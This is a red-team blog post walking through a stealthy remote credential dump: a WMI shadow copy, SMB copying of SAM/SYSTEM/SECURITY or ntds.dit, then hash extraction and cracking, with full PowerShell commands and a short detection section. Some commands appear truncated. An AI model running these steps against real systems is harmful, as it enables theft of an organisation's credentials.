Recently we performed a red teaming engagement where we wanted to dump the credentials from a remote host. We got the credentials of a user which has administrative privileges on the victim host and wanted to get more credentials from that host. Because we felt that the blue team was closely observing the environment this needed to be done in a stealthy manner and preferably only involving native Windows tooling. That is when we came up with the following approach in order to obtain a remote system’s SYSTEM, SECURITY and SAM files from %SystemRoot%\System32\Config making use of WMI and SMB. This approach can also be used to obtain the ntds.dit file from a Domain Controller in order to obtain the credentials of the complete organization.


In this article we will first use our attacker Windows machine to make a shadow copy on the remote system using WMI and then use SMB to download the credential files from the shadow copy. Assumptions are that ports 445/TCP (SMB) and one of 135/TCP (DCOM), 5985/TCP (WinRM) or 5986/TCP (WinRM over SSL) are accessible, and we have administrative access to the victim machine. We will be using DCOM which uses port 135/TCP to communicate. Moreover, the current PowerShell instance is running as a user which has administrative access on the victim host (DC01.mydomain.local) obtain the local credentials.

Small introduction to WMI

WMI stands for Windows Management Instrumentation and can be used to read out management information from Windows and perform actions on a variety of components which provide a WMI interface. WMI can be accessed locally using for example PowerShell, VBScript, wmic.exe and COM, while remotely WMI can be accessed using WinRM and DCOM.

PowerShell provides both WMI and CIM cmdlets. Common Information Model (CIM) is an open standard from the Distributed Management Task Force (DMTF) while WMI is Microsoft’s implementation of CIM for Windows. In this article we will use the CIM cmdlets, but the WMI cmdlets will function equally well.

Session establishment

In case you are executing this attack from a machine outside of the domain, or whenever you need to use different credentials to authenticate to the victim host, use the runas.exe tool to launch your PowerShell with credentials which can be used to authenticate. Now whenever this PowerShell instance is requested to authenticate on the network, it will use the credentials as provided to the runas.exe tool. Alternatively the -Credential parameter can be used for the New-CimSession cmdlet.

runas.exe /netonly /user:MyDomain\MyUser powershell.exe

After launching PowerShell we start with initiating a new CIM session with the remote host over DCOM and storing this in the $s variable. In case you want to use WinRM instead, omit the -SessionOption parameter of the New-CimSession cmdlet.

PS C:\> $h = 'DC01.mydomain.local'
PS C:\> $so = New-CimSessionOption -Protocol Dcom
PS C:\> $s = New-CimSession -ComputerName $h -SessionOption $so

Create shadow copy

Once the session is established we invoke the Create function of the Win32_ShadowCopy WMI class 1 providing the Volume parameter to create a shadow copy of the Windows installation drive which contains the files we want to obtain. Once executed, The ReturnValue of 0 shows that creation of the shadow copy was successful. Based on the ShadowID we fetch all details of the shadow copy. An alternative to creating a new shadow copy would be to check if there are already any (recent) shadow copies, in which case you can simply use that shadow copy and proceed with the next steps. This can be done by executing the Get-CimInstance cmdlet below without the -Filter parameter.

PS C:\> $r = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume='C:\'} -CimSession $s
PS C:\> $r | fl

ReturnValue    : 0
ShadowID       : {B15008D8-0C63-468C-AED7-ED4DB0CFD082}
PSComputerName : DC01.mydomain.local

PS C:\> $c = Get-CimInstance -ClassName Win32_ShadowCopy -CimSession $s -Filter "ID=`"$($r.ShadowID)`""
PS C:\> $c
Caption            :
Description        :
InstallDate        : 4/19/2020 9:34:01 PM
Name               :
Status             :
ClientAccessible   : True
Count              : 1
DeviceObject       : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6
Differential       : True
ExposedLocally     : False
ExposedName        :
ExposedPath        :
ExposedRemotely    : False
HardwareAssisted   : False
ID                 : {B15008D8-0C63-468C-AED7-ED4DB0CFD082}
Imported           : False
NoAutoRelease      : True
NotSurfaced        : False
NoWriters          : True
OriginatingMachine : DC01.mydomain.local
Persistent         : True
Plex               : False
ProviderID         : {B5946137-7B9F-4925-AF80-51ABD60B20D5}
ServiceMachine     : DC01.mydomain.local
SetID              : {083BBDBA-4517-45A2-A62E-3F52020BC47C}
State              : 12
Transportable      : False
VolumeName         : \\?\Volume{482bdb36-8a72-40a4-9b12-912d2783ef39}\
PSComputerName     : DC01.mydomain.local

Obtain credential files

We want to copy the files from the SMB share, not simply from the C$ share, but from the specific shadow copy we created. In Windows Explorer shadow copies are also known as Previous Versions which can be listed by opening the properties of a certain folder and then navigating to the Previous Versions tab. These Previous Versions are also accessible from the command line which is a date in a certain format prefixed with the @-symbol. Based on the shadow copy which is stored in the $c variable, we will compile the path from which to copy the files in the following PowerShell line.

PS C:\> $p = '\\{0}\C$\{1}\Windows\System32\config' -f $h,$c.InstallDate.ToUniversalTime().ToString("'@GMT-'")
PS C:\> $p

After compiling the path we will copy the required files using the copy command to our local disk (in this case C:\tmp). Because creating the shadow copy might take a while when attempting to copy the files from the shadow copy path too quickly, it will result in an error that the path does not exist. In that case wait a bit and try again. Alternatively, in case you are logged in interactively, open the Properties of the C$ share of the victim host in Windows Explorer and click Open for the shadow copy you created. In case you want to obtain the password hashes from a Domain Controller, this approach can also be used to remotely obtain the ntds.dit file from the (by default) %SystemRoot%\NTDS folder.

PS C:\> copy $p\SYSTEM C:\tmp
PS C:\> copy $p\SECURITY C:\tmp
PS C:\> copy $p\SAM C:\tmp

After we successfully obtained the files containing the credentials we will perform the cleanup of shadow copy we created and close the connection to the victim host.

PS C:\> $c | Remove-CimInstance
PS C:\> $s | Remove-CimSession

Obtain and crack hashes

With the SYSTEM, SECURITY and SAM files or SYSTEM and NTDS.dit file now in our C:\tmp folder we can use our favorite tool to obtain the hashes. An example of such tool is from Impacket 2.

SAM -system SYSTEM -security SECURITY -sam SAM LOCAL

ntds.dit -system SYSTEM -ntds ntds.dit LOCAL

Subsequently the resulting hashes can be cracked with tools like John or Hashcat, or used in a pass the hash attack.

Detection and artifacts

  • Event ID 7036 on the victim host stating that the Microsoft Software Shadow Copy Provider service has been started
  • Anomalous RPC/DCOM and SMB network connections between hosts which usually do not communicate

Closing thoughts

Because the blue team is increasingly monitoring activity on both the network as well as on the machines itself, the red team is increasingly pushed towards using Windows native administrative tooling to stay under the radar. This attack shows that using WMI and SMB you are perfectly able to do that from PowerShell which will blend in with the management activities system administrators are performing on the network and systems.

MITRE ATT&CK® references